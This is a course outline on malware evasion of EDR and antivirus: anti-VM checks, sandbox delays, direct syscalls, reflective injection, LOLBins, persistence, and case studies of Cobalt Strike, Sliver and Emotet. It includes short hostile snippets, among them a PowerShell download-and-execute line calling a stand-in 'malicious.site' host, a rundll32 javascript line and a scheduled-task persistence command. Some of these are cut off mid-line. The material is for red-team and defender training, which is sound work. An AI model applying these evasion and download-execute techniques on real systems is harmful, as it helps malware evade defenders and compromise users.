Advanced Course on Malware Evasion Techniques from EDR and AV

Reda Ouzidane

April 8, 2025

Abstract

This advanced course document covers comprehensive malware evasion techniques against Endpoint Detection and Response (EDR) systems and Antivirus (AV) software. It is intended for ethical hackers, red team operators, and cybersecurity researchers aiming to understand how advanced malware operates beneath detection layers. Each module includes theory, practical examples, and references to real-world usage.

Contents

1 Module 1: Introduction to Detection Mechanisms

1.1 How AV and EDR Work

Antivirus relies heavily on signature-based detection and heuristic analysis. EDR goes further, collecting telemetry, behavior logs, and performing real-time analysis.

1.2 Components Typically Monitored

- API Calls
- Memory Modifications
- File System Access
- Registry Edits
- Network Activity

2 Module 2: Static Analysis Evasion

2.1 Obfuscation

Description: Makes the code harder to read or analyze by disassemblers.
Example: Using tools like `ConfuserEx` for .NET applications.
Practice: Obfuscate a PowerShell script and analyze the entropy before and after.

2.2 Packing

Description: Compresses and encrypts binaries.
Example: UPX packed malware bypassing AV using altered headers.
Note: Some packers are so common they are whitelisted.

3 Module 3: Dynamic Analysis Evasion

3.1 Anti-VM Techniques

Methods:

- Check for processes like `VBoxService.exe`
- Inspect hardware model strings

Code Snippet:

```
import os
if os.path.exists("C:\\Program Files\\VMware"):
    exit()
```

3.2 Delaying Execution

Technique: Force sandbox to time out.

```
import time
time.sleep(120)
```

3.3 User Interaction Requirements

- Wait for mouse movement
- Detect key presses before executing payload

4 Module 4: EDR-Specific Evasion

4.1 API Hooking Bypass

EDRs hook functions like `NtCreateFile`, `NtReadVirtualMemory`.

Technique: Use direct syscalls or restore original code using `NtProtectVirtualMemory`.

4.2 Unhooking with Syscalls

Example in C:

```
__asm {
    mov r10, rcx
    mov eax, syscall_number
    syscall
    ret
}
```

4.3 Manual DLL Mapping

Description: Load DLLs without using LoadLibrary.

Tools: `ReflectiveLoader`, `PELoader`

5 Module 5: Fileless Execution Techniques

5.1 Reflective DLL Injection

- Shellcode loads a DLL in memory
- No file is written to disk

Tool Example: Cobalt Strike Beacon

5.2 In-Memory PowerShell Execution

```
IEX (New-Object Net.WebClient).DownloadString('http://malicious.site/payloa
```

5.3 Registry-based Payload Storage

```
Set-ItemProperty -Path "HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion
```

6 Module 6: Living off the Land (LOLBins)

6.1 Using Trusted Binaries

- `mshta.exe` to run HTA scripts
- `rundll32.exe` to execute functions in DLLs

Example:

```
rundll32.exe javascript:"\..\\mshtml,RunHTMLApplication ";document.write();
```

7 Module 7: Persistence Techniques

7.1 WMI Events

- RegisterEventConsumer for persistence

7.2 Scheduled Tasks

```
schtasks /create /tn "Updater" /tr "powershell -File C:\\malicious.ps1" /sc
```

8 Module 8: Advanced Case Study

8.1 Cobalt Strike

- Reflective DLL Injection
- Beacon payload
- Uses indirect syscalls

8.2 Sliver C2

- GoLang payloads
- Manual syscall usage

8.3 Emotet

- Obfuscation
- Email propagation
- Process Hollowing

9 Conclusion

Understanding and applying these techniques is essential for red teamers, malware analysts, and advanced defenders. These tactics emphasize the cat-and-mouse dynamic between offensive and defensive cybersecurity.

References

- MITRE ATT&CK Framework
- iRed Team Blog
- FuzzySecurity
- Atomic Red Team Tests